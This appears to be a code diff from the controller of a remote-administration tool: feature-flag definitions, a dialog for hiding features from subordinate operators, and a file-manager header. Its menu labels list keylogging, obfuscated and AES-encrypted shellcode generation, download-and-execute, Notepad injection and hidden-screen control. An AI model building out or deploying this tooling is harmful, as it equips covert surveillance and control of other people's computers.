#define MF_CHOOSE_LANG_DIR (1ULL << 35) // HIDE_MENU_CHOOSE_LANG_DIR
#define MF_LOCATION_QQWRY (1ULL << 36) // HIDE_MENU_LOCATION_QQWRY
#define MF_LOCATION_IP2REGION (1ULL << 37) // HIDE_MENU_LOCATION_IP2REGION
// Help menu [38-42]
#define MF_IMPORTANT (1ULL << 38) // HIDE_MENU_IMPORTANT
#define MF_FEEDBACK (1ULL << 39) // HIDE_MENU_FEEDBACK
#define MF_WHAT_IS_THIS (1ULL << 40) // HIDE_MENU_WHAT_IS_THIS
#define MF_MASTER_TRAIL (1ULL << 41) // HIDE_MENU_MASTER_TRAIL
#define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH
// [43-63] Reserved
// ============================================================
// ToolbarFlags bit definitions (corresponds to HIDE_TOOLBAR_* macros)
// ============================================================
#define TF_TERMINAL (1ULL << 0) // HIDE_TOOLBAR_TERMINAL
#define TF_PROCESS (1ULL << 1) // HIDE_TOOLBAR_PROCESS
#define TF_WINDOW (1ULL << 2) // HIDE_TOOLBAR_WINDOW
#define TF_DESKTOP (1ULL << 3) // HIDE_TOOLBAR_DESKTOP
#define TF_FILE (1ULL << 4) // HIDE_TOOLBAR_FILE
#define TF_AUDIO (1ULL << 5) // HIDE_TOOLBAR_AUDIO
#define TF_VIDEO (1ULL << 6) // HIDE_TOOLBAR_VIDEO
#define TF_SERVICE (1ULL << 7) // HIDE_TOOLBAR_SERVICE
#define TF_REGISTER (1ULL << 8) // HIDE_TOOLBAR_REGISTER
#define TF_KEYBOARD (1ULL << 9) // HIDE_TOOLBAR_KEYBOARD
#define TF_SETTINGS (1ULL << 10) // HIDE_TOOLBAR_SETTINGS
#define TF_BUILD (1ULL << 11) // HIDE_TOOLBAR_BUILD
#define TF_SEARCH (1ULL << 12) // HIDE_TOOLBAR_SEARCH
#define TF_HELP (1ULL << 13) // HIDE_TOOLBAR_HELP
// [14-63] Reserved
// ============================================================
// ContextFlags bit definitions (corresponds to HIDE_CTX_* macros)
// ============================================================
// Online list context menu [0-21]
#define CF_MESSAGE (1ULL << 0) // HIDE_CTX_MESSAGE
#define CF_UPDATE (1ULL << 1) // HIDE_CTX_UPDATE
#define CF_DELETE (1ULL << 2) // HIDE_CTX_DELETE
#define CF_SHARE (1ULL << 3) // HIDE_CTX_SHARE
#define CF_PROXY (1ULL << 4) // HIDE_CTX_PROXY
#define CF_HOSTNOTE (1ULL << 5) // HIDE_CTX_HOSTNOTE
#define CF_VIRTUAL_DESKTOP (1ULL << 6) // HIDE_CTX_VIRTUAL_DESKTOP
#define CF_GRAY_DESKTOP (1ULL << 7) // HIDE_CTX_GRAY_DESKTOP
#define CF_REMOTE_DESKTOP (1ULL << 8) // HIDE_CTX_REMOTE_DESKTOP
#define CF_H264_DESKTOP (1ULL << 9) // HIDE_CTX_H264_DESKTOP
#define CF_AUTHORIZE (1ULL << 10) // HIDE_CTX_AUTHORIZE
#define CF_UNAUTHORIZE (1ULL << 11) // HIDE_CTX_UNAUTHORIZE
#define CF_ASSIGN_TO (1ULL << 12) // HIDE_CTX_ASSIGN_TO
#define CF_ADD_WATCH (1ULL << 13) // HIDE_CTX_ADD_WATCH
#define CF_LOGIN_NOTIFY (1ULL << 14) // HIDE_CTX_LOGIN_NOTIFY
#define CF_RUN_AS_ADMIN (1ULL << 15) // HIDE_CTX_RUN_AS_ADMIN
#define CF_UNINSTALL (1ULL << 16) // HIDE_CTX_UNINSTALL
#define CF_PRIVATE_SCREEN (1ULL << 17) // HIDE_CTX_PRIVATE_SCREEN
#define CF_REGROUP (1ULL << 18) // HIDE_CTX_REGROUP
#define CF_INJ_NOTEPAD (1ULL << 19) // HIDE_CTX_INJ_NOTEPAD
#define CF_PROXY_PORT (1ULL << 20) // HIDE_CTX_PROXY_PORT
#define CF_PROXY_PORT_STD (1ULL << 21) // HIDE_CTX_PROXY_PORT_STD
// Machine management submenu [22-24]
#define CF_MACHINE_SHUTDOWN (1ULL << 22) // HIDE_CTX_MACHINE_SHUTDOWN
#define CF_MACHINE_REBOOT (1ULL << 23) // HIDE_CTX_MACHINE_REBOOT
#define CF_MACHINE_LOGOUT (1ULL << 24) // HIDE_CTX_MACHINE_LOGOUT
// Execute command submenu [25-28]
#define CF_EXECUTE_DOWNLOAD (1ULL << 25) // HIDE_CTX_EXECUTE_DOWNLOAD
#define CF_EXECUTE_UPLOAD (1ULL << 26) // HIDE_CTX_EXECUTE_UPLOAD
#define CF_EXECUTE_TESTRUN (1ULL << 27) // HIDE_CTX_EXECUTE_TESTRUN
#define CF_EXECUTE_GHOST (1ULL << 28) // HIDE_CTX_EXECUTE_GHOST
// [29-63] Reserved
// ============================================================
// Access functions
// ============================================================
// Get feature flags (returns nullptr if not present or invalid)
inline const FeatureFlags* GetFeatureFlags() {
extern char g_UpperHash[];
const char* ptr = g_UpperHash + FEATURE_FLAGS_OFFSET;
if (memcmp(ptr, FEATURE_FLAGS_VERSION, 4) != 0)
return nullptr;
return (const FeatureFlags*)ptr;
}
// Check if a menu item is disabled at runtime
inline bool IsMenuDisabled(uint64_t flag) {
const FeatureFlags* ff = GetFeatureFlags();
return ff && (ff->MenuFlags & flag);
}
// Check if a toolbar button is disabled at runtime
inline bool IsToolbarDisabled(uint64_t flag) {
const FeatureFlags* ff = GetFeatureFlags();
return ff && (ff->ToolbarFlags & flag);
}
// Check if a context menu item is disabled at runtime
inline bool IsContextDisabled(uint64_t flag) {
const FeatureFlags* ff = GetFeatureFlags();
return ff && (ff->ContextFlags & flag);
}
// ============================================================
// Helper macros for combined compile-time and runtime check
// ============================================================
#define SHOULD_HIDE_MENU(compile_flag, runtime_flag) \
((compile_flag) || IsMenuDisabled(runtime_flag))
#define SHOULD_HIDE_TOOLBAR(compile_flag, runtime_flag) \
((compile_flag) || IsToolbarDisabled(runtime_flag))
#define SHOULD_HIDE_CTX(compile_flag, runtime_flag) \
((compile_flag) || IsContextDisabled(runtime_flag))

View File

@@ -0,0 +1,285 @@
#include "stdafx.h"
#include "FeatureLimitsDlg.h"
#include "UIBranding.h"
CFeatureLimitsDlg::CFeatureLimitsDlg(CWnd* pParent)
: CDialogLangEx(IDD_FEATURE_LIMITS, pParent)
, m_InheritedMenuFlags(0)
, m_InheritedToolbarFlags(0)
, m_InheritedContextFlags(0)
, m_MenuFlags(0)
, m_ToolbarFlags(0)
, m_ContextFlags(0)
, m_CurrentTab(0)
{
InitMenuItems();
InitToolbarItems();
InitContextItems();
}
CFeatureLimitsDlg::~CFeatureLimitsDlg()
{
}
void CFeatureLimitsDlg::SetInheritedFlags(const FeatureFlags* inherited)
{
if (inherited) {
m_InheritedMenuFlags = inherited->MenuFlags;
m_InheritedToolbarFlags = inherited->ToolbarFlags;
m_InheritedContextFlags = inherited->ContextFlags;
}
}
void CFeatureLimitsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TAB_FEATURES, m_TabCtrl);
DDX_Control(pDX, IDC_LIST_FEATURES, m_CheckList);
}
BEGIN_MESSAGE_MAP(CFeatureLimitsDlg, CDialogLangEx)
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB_FEATURES, &CFeatureLimitsDlg::OnTcnSelchangeTab)
END_MESSAGE_MAP()
BOOL CFeatureLimitsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
// 设置翻译文本
SetWindowText(_TR("下级功能限制"));
SetDlgItemText(IDC_STATIC_FEATURE_TIP, _TR("勾选: 对下级隐藏 灰色: 上级已禁用"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
// 添加Tab页
m_TabCtrl.InsertItem(0, _TR("主菜单"));
m_TabCtrl.InsertItem(1, _TR("工具栏"));
m_TabCtrl.InsertItem(2, _TR("右键菜单"));
// 初始显示第一页
m_CurrentTab = 0;
PopulateList(0);
return TRUE;
}
void CFeatureLimitsDlg::InitMenuItems()
{
m_MenuItems = {
// 文件菜单
{ "参数设置", MF_SETTINGS, HIDE_MENU_SETTINGS },
{ "提醒设置", MF_NOTIFY_SETTINGS, HIDE_MENU_NOTIFY_SETTINGS },
{ "钱包", MF_WALLET, HIDE_MENU_WALLET },
{ "网络", MF_NETWORK, HIDE_MENU_NETWORK },
// 工具菜单
{ "输入密码", MF_INPUT_PASSWORD, HIDE_MENU_INPUT_PASSWORD },
{ "导入许可证", MF_IMPORT_LICENSE, HIDE_MENU_IMPORT_LICENSE },
{ "PE资源编辑", MF_RCEDIT, HIDE_MENU_RCEDIT },
{ "生成授权", MF_GEN_AUTH, HIDE_MENU_GEN_AUTH },
{ "生成Master", MF_GEN_MASTER, HIDE_MENU_GEN_MASTER },
{ "许可证管理", MF_LICENSE_MGR, HIDE_MENU_LICENSE_MGR },
{ "V2私钥", MF_V2_PRIVATEKEY, HIDE_MENU_V2_PRIVATEKEY },
// ShellCode子菜单
{ "ShellCode C Code", MF_SHELLCODE_C, HIDE_MENU_SHELLCODE_C },
{ "ShellCode bin", MF_SHELLCODE_BIN, HIDE_MENU_SHELLCODE_BIN },
{ "ShellCode Load Test", MF_SHELLCODE_LOAD_TEST, HIDE_MENU_SHELLCODE_LOAD_TEST },
{ "混淆 ShellCode", MF_SHELLCODE_OBFS, HIDE_MENU_SHELLCODE_OBFS },
{ "混淆 ShellCode bin", MF_SHELLCODE_OBFS_BIN, HIDE_MENU_SHELLCODE_OBFS_BIN },
{ "混淆 Load Test", MF_SHELLCODE_OBFS_TEST, HIDE_MENU_SHELLCODE_OBFS_TEST },
{ "AES ShellCode C", MF_SHELLCODE_AES_C, HIDE_MENU_SHELLCODE_AES_C },
{ "AES ShellCode bin", MF_SHELLCODE_AES_BIN, HIDE_MENU_SHELLCODE_AES_BIN },
{ "AES Load Test", MF_SHELLCODE_AES_TEST, HIDE_MENU_SHELLCODE_AES_TEST },
// 参数菜单
{ "键盘记录", MF_KBLOGGER, HIDE_MENU_KBLOGGER },
{ "登录通知", MF_LOGIN_NOTIFY, HIDE_MENU_LOGIN_NOTIFY },
{ "启用日志", MF_ENABLE_LOG, HIDE_MENU_ENABLE_LOG },
{ "壁纸隐私", MF_PRIVACY_WALLPAPER, HIDE_MENU_PRIVACY_WALLPAPER },
{ "V2文件协议", MF_FILE_V2, HIDE_MENU_FILE_V2 },
{ "钩子窗口", MF_HOOK_WIN, HIDE_MENU_HOOK_WIN },
{ "作为服务运行", MF_RUN_AS_SERVICE, HIDE_MENU_RUN_AS_SERVICE },
{ "以用户身份运行", MF_RUN_AS_USER, HIDE_MENU_RUN_AS_USER },
// 扩展菜单
{ "历史客户端", MF_HISTORY_CLIENTS, HIDE_MENU_HISTORY_CLIENTS },
{ "备份数据", MF_BACKUP_DATA, HIDE_MENU_BACKUP_DATA },
{ "导入数据", MF_IMPORT_DATA, HIDE_MENU_IMPORT_DATA },
{ "重新加载插件", MF_RELOAD_PLUGINS, HIDE_MENU_RELOAD_PLUGINS },
{ "插件请求", MF_PLUGIN_REQUEST, HIDE_MENU_PLUGIN_REQUEST },
{ "下级FRP", MF_FRPS_FOR_SUB, HIDE_MENU_FRPS_FOR_SUB },
{ "更改语言", MF_CHANGE_LANG, HIDE_MENU_CHANGE_LANG },
{ "选择语言目录", MF_CHOOSE_LANG_DIR, HIDE_MENU_CHOOSE_LANG_DIR },
{ "QQWry定位", MF_LOCATION_QQWRY, HIDE_MENU_LOCATION_QQWRY },
{ "Ip2Region定位", MF_LOCATION_IP2REGION, HIDE_MENU_LOCATION_IP2REGION },
// 帮助菜单
{ "重要说明", MF_IMPORTANT, HIDE_MENU_IMPORTANT },
{ "反馈", MF_FEEDBACK, HIDE_MENU_FEEDBACK },
{ "什么是这个", MF_WHAT_IS_THIS, HIDE_MENU_WHAT_IS_THIS },
{ "主控跟踪", MF_MASTER_TRAIL, HIDE_MENU_MASTER_TRAIL },
{ "请求授权", MF_REQUEST_AUTH, HIDE_MENU_REQUEST_AUTH },
};
}
void CFeatureLimitsDlg::InitToolbarItems()
{
m_ToolbarItems = {
{ "终端管理", TF_TERMINAL, HIDE_TOOLBAR_TERMINAL },
{ "进程管理", TF_PROCESS, HIDE_TOOLBAR_PROCESS },
{ "窗口管理", TF_WINDOW, HIDE_TOOLBAR_WINDOW },
{ "桌面管理", TF_DESKTOP, HIDE_TOOLBAR_DESKTOP },
{ "文件管理", TF_FILE, HIDE_TOOLBAR_FILE },
{ "语音管理", TF_AUDIO, HIDE_TOOLBAR_AUDIO },
{ "视频管理", TF_VIDEO, HIDE_TOOLBAR_VIDEO },
{ "服务管理", TF_SERVICE, HIDE_TOOLBAR_SERVICE },
{ "注册表管理", TF_REGISTER, HIDE_TOOLBAR_REGISTER },
{ "键盘记录", TF_KEYBOARD, HIDE_TOOLBAR_KEYBOARD },
{ "参数设置", TF_SETTINGS, HIDE_TOOLBAR_SETTINGS },
{ "生成服务端", TF_BUILD, HIDE_TOOLBAR_BUILD },
{ "搜索", TF_SEARCH, HIDE_TOOLBAR_SEARCH },
{ "帮助", TF_HELP, HIDE_TOOLBAR_HELP },
};
}
void CFeatureLimitsDlg::InitContextItems()
{
m_ContextItems = {
// 在线列表右键菜单
{ "发送消息", CF_MESSAGE, HIDE_CTX_MESSAGE },
{ "更新客户端", CF_UPDATE, HIDE_CTX_UPDATE },
{ "删除", CF_DELETE, HIDE_CTX_DELETE },
{ "分享", CF_SHARE, HIDE_CTX_SHARE },
{ "代理", CF_PROXY, HIDE_CTX_PROXY },
{ "主机备注", CF_HOSTNOTE, HIDE_CTX_HOSTNOTE },
{ "虚拟桌面", CF_VIRTUAL_DESKTOP, HIDE_CTX_VIRTUAL_DESKTOP },
{ "灰度桌面", CF_GRAY_DESKTOP, HIDE_CTX_GRAY_DESKTOP },
{ "远程桌面", CF_REMOTE_DESKTOP, HIDE_CTX_REMOTE_DESKTOP },
{ "H264桌面", CF_H264_DESKTOP, HIDE_CTX_H264_DESKTOP },
{ "授权", CF_AUTHORIZE, HIDE_CTX_AUTHORIZE },
{ "取消授权", CF_UNAUTHORIZE, HIDE_CTX_UNAUTHORIZE },
{ "分配给", CF_ASSIGN_TO, HIDE_CTX_ASSIGN_TO },
{ "添加监视", CF_ADD_WATCH, HIDE_CTX_ADD_WATCH },
{ "登录通知", CF_LOGIN_NOTIFY, HIDE_CTX_LOGIN_NOTIFY },
{ "以管理员运行", CF_RUN_AS_ADMIN, HIDE_CTX_RUN_AS_ADMIN },
{ "卸载", CF_UNINSTALL, HIDE_CTX_UNINSTALL },
{ "私有屏幕", CF_PRIVATE_SCREEN, HIDE_CTX_PRIVATE_SCREEN },
{ "重新分组", CF_REGROUP, HIDE_CTX_REGROUP },
{ "注入记事本", CF_INJ_NOTEPAD, HIDE_CTX_INJ_NOTEPAD },
{ "代理端口", CF_PROXY_PORT, HIDE_CTX_PROXY_PORT },
{ "标准代理端口", CF_PROXY_PORT_STD, HIDE_CTX_PROXY_PORT_STD },
// 机器管理子菜单
{ "关机", CF_MACHINE_SHUTDOWN, HIDE_CTX_MACHINE_SHUTDOWN },
{ "重启", CF_MACHINE_REBOOT, HIDE_CTX_MACHINE_REBOOT },
{ "注销", CF_MACHINE_LOGOUT, HIDE_CTX_MACHINE_LOGOUT },
// 执行命令子菜单
{ "下载执行", CF_EXECUTE_DOWNLOAD, HIDE_CTX_EXECUTE_DOWNLOAD },
{ "上传执行", CF_EXECUTE_UPLOAD, HIDE_CTX_EXECUTE_UPLOAD },
{ "测试运行", CF_EXECUTE_TESTRUN, HIDE_CTX_EXECUTE_TESTRUN },
{ "Ghost执行", CF_EXECUTE_GHOST, HIDE_CTX_EXECUTE_GHOST },
};
}
void CFeatureLimitsDlg::PopulateList(int tabIndex)
{
// 先收集当前Tab的选择
CollectFlags();
// 清空列表
m_CheckList.ResetContent();
// 根据Tab选择不同的项目列表
std::vector<FeatureItem>* items = nullptr;
uint64_t inheritedFlags = 0;
uint64_t selectedFlags = 0;
switch (tabIndex) {
case 0:
items = &m_MenuItems;
inheritedFlags = m_InheritedMenuFlags;
selectedFlags = m_MenuFlags;
break;
case 1:
items = &m_ToolbarItems;
inheritedFlags = m_InheritedToolbarFlags;
selectedFlags = m_ToolbarFlags;
break;
case 2:
items = &m_ContextItems;
inheritedFlags = m_InheritedContextFlags;
selectedFlags = m_ContextFlags;
break;
default:
return;
}
// 添加项目到列表
for (const auto& item : *items) {
// 编译时已隐藏的功能,不显示
if (item.compileMacro)
continue;
int index = m_CheckList.AddString(_TR(item.name));
m_CheckList.SetItemData(index, item.flag);
// 检查是否被上级禁用(继承)或用户已选择
bool isInherited = (inheritedFlags & item.flag) != 0;
bool isSelected = (selectedFlags & item.flag) != 0;
if (isInherited || isSelected) {
m_CheckList.SetCheck(index, TRUE);
}
// 上级已禁用的功能,禁用复选框(灰色,不可取消)
if (isInherited) {
m_CheckList.Enable(index, FALSE);
}
}
m_CurrentTab = tabIndex;
}
void CFeatureLimitsDlg::CollectFlags()
{
// 根据当前Tab收集选中状态到对应的标志位
uint64_t* targetFlags = nullptr;
uint64_t inheritedFlags = 0;
switch (m_CurrentTab) {
case 0:
targetFlags = &m_MenuFlags;
inheritedFlags = m_InheritedMenuFlags;
break;
case 1:
targetFlags = &m_ToolbarFlags;
inheritedFlags = m_InheritedToolbarFlags;
break;
case 2:
targetFlags = &m_ContextFlags;
inheritedFlags = m_InheritedContextFlags;
break;
default:
return;
}
// 保留继承的标志位
*targetFlags = inheritedFlags;
// 收集用户勾选的项目
for (int i = 0; i < m_CheckList.GetCount(); i++) {
if (m_CheckList.GetCheck(i)) {
*targetFlags |= m_CheckList.GetItemData(i);
}
}
}
void CFeatureLimitsDlg::OnTcnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult)
{
int sel = m_TabCtrl.GetCurSel();
PopulateList(sel);
*pResult = 0;
}
void CFeatureLimitsDlg::OnOK()
{
// 收集最后一个Tab的选择
CollectFlags();
CDialogLangEx::OnOK();
}

View File

@@ -0,0 +1,70 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include "FeatureFlags.h"
#include <afxcmn.h>
#include <vector>
// 功能项定义
struct FeatureItem {
const char* name; // 显示名称
uint64_t flag; // 运行时标志位
int compileMacro; // 编译时宏值 (0或1)
};
// 下级功能限制对话框
class CFeatureLimitsDlg : public CDialogLangEx
{
public:
CFeatureLimitsDlg(CWnd* pParent = nullptr);
virtual ~CFeatureLimitsDlg();
enum { IDD = IDD_FEATURE_LIMITS };
// 设置继承的限制(上级已禁用的功能)
void SetInheritedFlags(const FeatureFlags* inherited);
// 获取用户选择的限制
uint64_t GetMenuFlags() const { return m_MenuFlags; }
uint64_t GetToolbarFlags() const { return m_ToolbarFlags; }
uint64_t GetContextFlags() const { return m_ContextFlags; }
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
afx_msg void OnTcnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitMenuItems();
void InitToolbarItems();
void InitContextItems();
void PopulateList(int tabIndex);
void CollectFlags();
private:
CTabCtrl m_TabCtrl;
CCheckListBox m_CheckList;
// 继承的限制
uint64_t m_InheritedMenuFlags;
uint64_t m_InheritedToolbarFlags;
uint64_t m_InheritedContextFlags;
// 用户选择的限制
uint64_t m_MenuFlags;
uint64_t m_ToolbarFlags;
uint64_t m_ContextFlags;
// 功能项列表
std::vector<FeatureItem> m_MenuItems;
std::vector<FeatureItem> m_ToolbarItems;
std::vector<FeatureItem> m_ContextItems;
// 当前Tab索引
int m_CurrentTab;
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,285 @@
#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
#define AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_
#include "TrueColorToolBar.h" // Added by ClassView
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "IOCPServer.h"
#include "SortListCtrl.h"
#include <map>
#include <string>
#include <vector>
#define CIOCPServer IOCPServer
#define ClientContext CONTEXT_OBJECT
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
} FILESIZE;
#define m_DeCompressionBuffer InDeCompressedBuffer
#define GetBufferLen GetBufferLength
#define m_Dialog hDlg
#define m_Socket sClientSocket
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#define MAX_WRITE_RETRY 15 // 重试写入文件次数
#define WM_MY_MESSAGE (WM_USER+300)
#define WM_LOCAL_SEARCH_DONE (WM_USER+302)
#define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303)
// FileManagerDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg dialog
typedef CList<CString, CString&> strList;
class CFileManagerDlg : public DialogBase
{
protected:
// 更新状态栏信息
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
{
char *buff = (char*)lParam;
m_wndStatusBar.SetPaneText(0, buff);
delete[]buff;
return S_OK;
}
// Construction
public:
bool m_bIsStop;
CString m_strReceiveLocalFile;
HANDLE m_hRecvFile; // 接收文件的句柄,保持打开直到传输完成
CString m_strUploadRemoteFile;
void ShowProgress();
void SendStop();
int m_nTransferMode;
CString m_hCopyDestFolder;
void SendContinue();
void SendException();
void EndLocalRecvFile();
void EndRemoteDeleteFile();
CString m_strOperatingFile; // 文件名
__int64 m_nOperatingFileLength; // 文件总大小
__int64 m_nCounter;// 计数器
void WriteLocalRecvFile();
void CreateLocalRecvFile();
BOOL SendDownloadJob();
BOOL SendUploadJob();
BOOL SendDeleteJob();
void UpdateWindowsPos();
strList m_Remote_Download_Job;
strList m_Remote_Upload_Job;
strList m_Remote_Delete_Job;
CTrueColorToolBar m_wndToolBar_Local;
CTrueColorToolBar m_wndToolBar_Remote;
void ShowMessage(const char *lpFmt, ...);
CString m_Remote_Path;
BYTE m_bRemoteDriveList[1024];
CString GetParentDirectory(CString strPath);
void OnReceiveComplete();
int m_nNewIconBaseIndex; // 新加的ICON
CProgressCtrl* m_ProgressCtrl;
HCURSOR m_hCursor;
CString m_Local_Path;
bool FixedUploadDirectory(LPCTSTR lpPathName);
void FixedLocalDriveList();
void FixedRemoteDriveList();
void FixedLocalFileList(CString directory = "");
void GetRemoteFileList(CString directory = "");
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
void FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen);
bool m_bSearching;
bool m_bSearchStopped;
int m_nSearchResultCount;
DWORD m_dwSearchStartTime;
CString m_strSearchPath;
CString m_strSearchName;
std::map<std::string, int> m_IconCache;
// 本地搜索
bool m_bLocalSearching;
bool m_bLocalSearchStopped;
int m_nLocalSearchResultCount;
DWORD m_dwLocalSearchStartTime;
CString m_strLocalSearchPath;
CString m_strLocalSearchName;
std::map<std::string, int> m_LocalIconCache;
HANDLE m_hLocalSearchThread;
static DWORD WINAPI LocalSearchThreadProc(LPVOID lpParam);
void LocalSearchWorker();
static bool WildcardMatch(LPCTSTR pattern, LPCTSTR str);
struct LocalSearchItem {
CString fileName;
CString dir;
CString ext;
BOOL bIsDir;
DWORD sizeHigh, sizeLow;
FILETIME ftWrite;
};
afx_msg LRESULT OnLocalSearchDone(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnLocalSearchProgress(WPARAM wParam, LPARAM lParam);
CStatusBar m_wndStatusBar;
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
~CFileManagerDlg()
{
m_bLocalSearching = false;
m_bLocalSearchStopped = true;
if (m_hLocalSearchThread) {
// 处理消息避免SendMessage死锁
while (MsgWaitForMultipleObjects(1, &m_hLocalSearchThread, FALSE, 5000, QS_ALLINPUT) == WAIT_OBJECT_0 + 1) {
MSG msg;
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
CloseHandle(m_hLocalSearchThread);
}
if (m_hRecvFile != INVALID_HANDLE_VALUE) {
CloseHandle(m_hRecvFile);
}
if(m_ProgressCtrl) delete m_ProgressCtrl;
}
// Dialog Data
//{{AFX_DATA(CFileManagerDlg)
enum { IDD = IDD_FILE };
CComboBox m_Remote_Directory_ComboBox;
CComboBox m_Local_Directory_ComboBox;
CSortListCtrl m_list_remote;
CSortListCtrl m_list_local;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CFileManagerDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CFileManagerDlg)
virtual BOOL OnInitDialog();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnLocalPrev();
afx_msg void OnRemotePrev();
afx_msg void OnLocalView();
afx_msg void OnLocalList();
afx_msg void OnLocalReport();
afx_msg void OnLocalBigicon();
afx_msg void OnLocalSmallicon();
afx_msg void OnRemoteBigicon();
afx_msg void OnRemoteList();
afx_msg void OnRemoteReport();
afx_msg void OnRemoteSmallicon();
afx_msg void OnRemoteView();
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalSearch(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteSearch(CCmdUI* pCmdUI);
afx_msg void OnRemoteCopy();
afx_msg void OnLocalCopy();
afx_msg void OnRemoteCompress();
afx_msg void OnLocalCompress();
afx_msg void OnRemoteUnCompress();
afx_msg void OnLocalUnCompress();
afx_msg void OnLocalDelete();
afx_msg void OnRemoteDelete();
afx_msg void OnRemoteStop();
afx_msg void OnLocalStop();
afx_msg void OnLocalNewfolder();
afx_msg void OnRemoteNewfolder();
afx_msg void OnTransfer();
afx_msg void OnRename();
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnDelete();
afx_msg void OnNewfolder();
afx_msg void OnRefresh();
afx_msg void OnLocalOpen();
afx_msg void OnRemoteOpenShow();
afx_msg void OnRemoteOpenHide();
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnLocalDesktop();
afx_msg void OnLocalDownloads();
afx_msg void OnLocalHome();
afx_msg void OnLocalSearch();
afx_msg void OnRemoteDesktop();
afx_msg void OnRemoteDownloads();
afx_msg void OnRemoteHome();
afx_msg void OnRemoteSearch();
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
protected:
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
BOOL m_bDragging; //T during a drag operation
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
private:
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();
void SendFileData();
void EndLocalUploadFile();
bool DeleteDirectory(LPCTSTR lpszDirectory);
void EnableControl(BOOL bEnable = TRUE);
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
float m_fScalingFactor;
public:
afx_msg void OnFilemangerCompress();
afx_msg void OnFilemangerUncompress();
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)

View File

@@ -0,0 +1,78 @@
// FileTransferModeDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "FileTransferModeDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
